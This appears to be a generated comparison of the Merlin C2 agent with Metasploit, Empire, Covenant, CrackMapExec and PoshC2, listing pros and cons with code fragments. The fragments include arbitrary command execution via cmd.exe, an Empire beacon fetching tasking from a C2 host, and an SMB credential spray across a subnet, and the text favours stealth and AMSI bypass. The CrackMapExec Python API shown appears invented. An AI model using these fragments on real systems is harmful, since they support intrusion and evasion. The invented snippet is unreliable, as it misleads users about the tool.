Pros of Metasploit-Framework

• Extensive library of exploits and modules
• Large community support and regular updates
• Well-documented and widely used in the industry

Cons of Metasploit-Framework

• Larger footprint and more complex setup
• More likely to be detected by antivirus software
• Steeper learning curve for beginners

Code Comparison

Merlin (Go):

func (a *Agent) executeCommand(cmd string) ([]byte, error) {
    command := exec.Command("cmd.exe", "/C", cmd)
    return command.CombinedOutput()
}

Metasploit-Framework (Ruby):

def cmd_execute(cmd, opts = {})
  Rex::Compat.execute_command(cmd, opts)
end

Summary

Metasploit-Framework is a comprehensive penetration testing tool with a vast array of exploits and modules, backed by a large community. However, it has a larger footprint and may be more easily detected. Merlin, on the other hand, is a lightweight post-exploitation agent focused on stealth and flexibility, written in Go. The code comparison shows the difference in language and approach to command execution between the two projects.

Pros of Empire

• More extensive feature set and modules for post-exploitation
• Larger community and longer development history
• Better documentation and support resources

Cons of Empire

• Larger codebase and more complex setup
• Higher likelihood of detection due to popularity
• Less focus on evasion techniques

Code Comparison

Empire (PowerShell-based agent):

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$data = $wc.DownloadData("http://empire.server/get_tasking")

Merlin (Go-based agent):

client := &http.Client{}
req, _ := http.NewRequest("GET", "https://merlin.server/", nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)

Both projects are open-source post-exploitation frameworks, but they differ in their approach and implementation. Empire is more established and feature-rich, while Merlin focuses on being lightweight and evasive. Empire uses PowerShell extensively, whereas Merlin is written in Go. Empire offers a wider range of modules and capabilities, but Merlin's simplicity and cross-platform nature make it attractive for specific scenarios. The choice between them depends on the specific requirements of the engagement and the target environment.

Pros of Covenant

• Built-in GUI for easier management and visualization
• Supports multiple users and collaborative operations
• Extensive built-in modules and post-exploitation capabilities

Cons of Covenant

• Larger footprint and potentially easier to detect
• Less flexible in terms of custom communication protocols
• May require more setup and configuration

Code Comparison

Merlin (Go):

func (a *Agent) executeCommand(cmd string) ([]byte, error) {
    command := exec.Command("cmd.exe", "/c", cmd)
    return command.CombinedOutput()
}

Covenant (C#):

public static string ExecuteCommand(string command)
{
    Process proc = new Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + command;
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    return proc.StandardOutput.ReadToEnd();
}

Both projects implement command execution, but Covenant's approach is more verbose and provides additional control over the process.

Merlin focuses on simplicity and stealth, using Go for cross-platform compatibility and easier compilation. Covenant offers a more feature-rich environment with its .NET-based architecture, making it suitable for Windows-centric operations and teams requiring collaborative features.

Pros of CrackMapExec

• More focused on network enumeration and lateral movement
• Extensive built-in modules for various attack techniques
• Active development with frequent updates and community contributions

Cons of CrackMapExec

• Less stealthy compared to Merlin's HTTP/2 and DNS communication methods
• Primarily designed for Windows environments, while Merlin is more versatile
• Requires more setup and dependencies compared to Merlin's single binary

Code Comparison

Merlin (server-side listener setup):

// Start HTTP/2 Listener
srv := &http.Server{
    Addr:    ":" + strconv.Itoa(port),
    Handler: router,
}
err := srv.ListenAndServeTLS(certPath, keyPath)

CrackMapExec (basic usage):

from crackmapexec import CME

cme = CME()
cme.run('smb', '192.168.1.0/24', 'Administrator', 'password123')

Both tools are powerful in their respective domains. Merlin excels in covert operations and cross-platform support, while CrackMapExec shines in Windows-centric environments and offers a wide range of attack modules. The choice between them depends on the specific requirements of the penetration testing or red team engagement.

Pros of PoshC2

• Written in PowerShell, making it highly compatible with Windows environments
• Extensive built-in modules for various post-exploitation tasks
• Strong focus on operational security with features like AMSI bypass

Cons of PoshC2

• Limited cross-platform support compared to Merlin's Go-based architecture
• Steeper learning curve for users not familiar with PowerShell
• Less frequent updates and potentially slower development cycle

Code Comparison

PoshC2 (PowerShell):

$Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
$wc = New-Object System.Net.WebClient
$wc.Proxy = $Proxy

Merlin (Go):

client := &http.Client{
    Transport: &http.Transport{
        Proxy: http.ProxyFromEnvironment,
    },
}

Both examples show how each project handles proxy settings, demonstrating the language differences and approach to network communication. PoshC2 uses PowerShell's native WebClient, while Merlin leverages Go's http package for more cross-platform compatibility.